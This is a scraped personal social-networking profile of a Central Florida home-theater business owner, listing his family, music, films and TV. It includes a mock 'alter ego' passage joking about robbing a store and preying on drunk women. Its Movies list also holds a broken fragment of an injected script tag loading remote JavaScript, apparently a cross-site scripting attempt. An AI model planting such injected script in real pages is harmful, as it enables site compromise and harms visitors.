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Ryan

i'M noT SchiZoPhrEnic AND NeiTher Am I

About Me

I'm a small business owner in Central Florida so I'm looking to network as well as make friends. My company provides Home Theater, Directv, Security/CCTV, Whole House Audio and Low Voltage Prewire for Custom Homes. I don't mean to sound like a infomercial but my kids have to eat too!! I have been married for 11 yrs to the love of my life. We have two girls 9 & 4 ( my mom always told me I would get double back ) before you know it, they will be going to Zuma Beach or The Edge (Zuma & the Edge are still cool, right?) I'm a kick ass poker player and a big Steelers fan. I grew up around Pittsburgh in the 70's; you either liked the Steelers or got beat down!!! So if you think your cable sucks or want a new friend, email me*** WHATEVER; I hate him, he's such a DICK!!! I've never been married and have 0 kids, I live in a trailer on Lk Conway and gamble on the Sterling everyday 4 a living. I love tattoo's, strippers and hole in the wall bars!! I go Downtown every weekend and try to find drunk 22 yr old chicks that need a ride home. Right now I'm planning to knock off a Publix while Wells Fargo makes the big pickup of the day then haul ass to Mexico. He would B nothing without me!!!Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

2006 *** JUST WEEDING OUT BANDWAGON FANS"***MORTALS NEED NOT APPLY***" DO NOT be friends with Ryan if you are Pregnant or Lactating. Possible side effects of being friends with Ryan include & are not limited to: Blurred Vision, Insomnia, Nausea/Vomiting, Diarrhea, Decreased Appetite, Headache, Anxiety, Irritability, Dry Mouth, Hallucinations, Hives or Itching, Abdominal Pain, Constipation, Frequent Need to Urinate, Buzzing or Ringing in Ears, Confusion, Extreme Distrust, Dizziness and an Unusual Feeling of Well-Being. Always take Ryan on a Empty Stomach and after consuming Alcohol.Pain or damage don't end the world. Or despair or fucking beatings. The world ends when you're dead. Until then, you got more punishment in store. Stand it like a man... and give some back.

I'd like to meet:

I'll meet anybody at least once

Music:

AC/DC, Audioslave, Black Crowes, Guns & Roses, Metalica(pre black), Sublime, Skindred, Eminem, Bob Marley, Ziggy Marley, JR Gong, System of A Down, Slipknot, Nine Inch Nails, Korn, Cypress Hill, Avenged Sevenfold, White Stripes, The Mars Volta, Robert Johnson, Frank Sinatra, Dean Martin, Billy Holiday, Black Label Society, Rolling Stones, Prodigy, Crazy Town, Lynard Skynard, Kid Rock, Monster Magnet, Lenny Kravitz, Dr Dre, Soundgarden, Alice In Chains, Rob Zombie, Nirvana, Eagles, Chevelle, Black Sabbath, Ozzy, Sevendust, Jimmy Hendrix, Godsmack, Grateful Dead, A Perfect Circle, Tool, Good Charlotte, Authority Zero, Puddle of Mud, Johnny Cash, Soil, Mazzy Star, Marilyn Manson, Sum 41, Blind Melon, Megadeth, Adema, Hank(all 3), Willie Nelson, Patsy Cline, Nina Simone, CCR, The Doors, Pepper, Poe

Movies:

The Nineth Gate, Jeepers Creepers, The Bourne Supremacy, Exorcist, The Ring, The Wizard of OZ, Constantine, Dogma, Sleepy Hollow, Gothika, Bill & Ted, Secret Window, Dazed & Confused, Blair Witch, Walking Tall (not the 1 with the Rock), Willie Wonka, Christine, Pet Cemetery, Good Fellas, Casino, Harard & Kumar, Terminator, Way of The Gun, Cold Mountain, True Romance, Pulp Fiction, The Shining, Nightmare before Christmas, Reservoir Dogs, American History X, 12 Monkeys, The Beach, Trainspotting, House of 1,000 Corpses, Dawn of the Dead (both of them), Dogtown, Strange Brew,.... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write(".....{}");}..

Television:

Pittsburgh Steeler Football, Dog the Bounty Hunter, Mindfreak, MTV, Inked, Monster Garage, American Chopper, Deadwood, Lost, Discovery Channel, History Channel, Family Guy, Simpsons, FSN Pittsburgh, ESPN, Playboy channel for about 10 min at a time!!

Books:

Yeah Right!!! Owners Manual's & Blueprints

Heroes:

I'm 2 old to have a Hero..